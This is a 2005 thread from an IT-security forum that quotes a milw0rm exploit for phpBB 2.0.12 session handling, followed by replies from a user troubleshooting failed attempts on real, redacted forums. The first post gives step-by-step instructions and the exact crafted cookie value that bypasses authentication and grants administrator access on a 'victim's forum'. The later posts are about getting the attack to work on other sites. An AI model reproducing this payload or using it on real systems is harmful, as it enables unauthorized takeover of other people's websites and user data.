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Full disclosure |
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IT Security and Insecurity Portal |
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?phpBB <= 2.0.12 Session Handling Authentication Bypass E |
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 Posted: Sat Mar 12, 2005 5:04 am |
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| shai-tan |
| Valuable expert |
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| Joined: Feb 22, 2005 |
| Posts: 477 |
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This makes things a hole lot easier 
| Quote: | phpBB 2.0.12 Session Handling Authentication Bypass ..
easy to use exploit ..
** YOU DON'T HAVE TO REGISTER AT THE VICTIM'S FORUM..
1- Simply VISIT the forum using Mozilla Firefox.. and be sure that the cookie is made (:
3- Close the Browser ..
2- Open the cookies.txt ..((located on "C:\Documents and Settings\ALI\Application Data\Mozilla\Firefox\Profiles\ur4nn6o5.default" when using WinXP)) in example 
and you will find something like :
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
where 127.0.0.1 is the domain for the forum << tested on localhost
and a%3A0%3A%7B%7D is the cookie data ..<< as a visitor
3- ok..let's do it !! ..
now open cookies.txt with your text editor
and replace
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
with
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
---------------------------------------------------------------------------------------------------------------//
save the cookies.txt..
4- Open your Browser..and go to the exploited forum ..
>>enjoy Hi Permission mode !! 
complete the mission by clicking " Go to Administration Panel "
--------------------------------------------------------------------------------
written by : Ali7
e-mail : ali7@hotmail.co.uk
# milw0rm.com [2005-03-11] |
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_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
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| Posted: Fri May 20, 2005 3:31 pm |
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| Twinky |
| Regular user |
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| Joined: May 20, 2005 |
| Posts: 5 |
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I do this...
i do everything correct...
i follow all the instuctions...
to 'Go to administration panel'
but wen i click on it... its takes me to logon .. and 'Go to admin...' messege disapears.. |
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| Posted: Fri May 20, 2005 4:15 pm |
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| devn00b |
| Regular user |
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| Joined: Feb 20, 2005 |
| Posts: 22 |
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That would mean they are patched. Remeber just because a board says its <= .12 doesnt mean it is. I have forums ive currently bumped to 3.6.1 as the version #.
Also you might not REALY be doing it right. post the cookie you are using (dont show site domain) and lets see whats up  |
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| Posted: Fri May 20, 2005 7:08 pm |
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| Twinky |
| Regular user |
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| Joined: May 20, 2005 |
| Posts: 5 |
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ok ive figured something out...
i get to type of cookies depending on which forum it is...
on some forums
it is | Code: | .www.xxxxxxxxxxxxxx.com TRUE / FALSE 1148151633 phpbb2mysql_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%221e1f904dabedf3fe76de1e95c91eccdd%22%3Bs%3A6%3A%22userid%22%3Bi%3A2%3B%7D
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^^ this is the ones i am able to access ...
| Code: | | www.xxxxxxxxxxxxxx.com FALSE / FALSE 1148151863 bwforums_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%221e1f904dabedf3fe76de1e95c91eccdd%22%3Bs%3A6%3A%22userid%22%3Bi%3A2%3B%7D |
^^ these ones i cant...
can you tell me why... |
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| Posted: Sun May 22, 2005 2:00 am |
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| shai-tan |
| Valuable expert |
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| Joined: Feb 22, 2005 |
| Posts: 477 |
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| The False and true statements have to do with loging in automatically option and wether or not you are registered. The rest depends on the forum you are cookie crafting. I havent used this exploit even though I posted a version of it. |
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_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
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| Posted: Sun May 22, 2005 10:08 am |
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| Twinky |
| Regular user |
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| Joined: May 20, 2005 |
| Posts: 5 |
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i havnt logged in any of them... but the true or false still comes up randomly
which one means logged in... true or false... |
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| Posted: Sun May 22, 2005 6:08 pm |
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| shai-tan |
| Valuable expert |
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| Joined: Feb 22, 2005 |
| Posts: 477 |
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| Im not sure you will have to find a whitepaper/tutorial or ask waraxe. I havent done much cookie crafting. |
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_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
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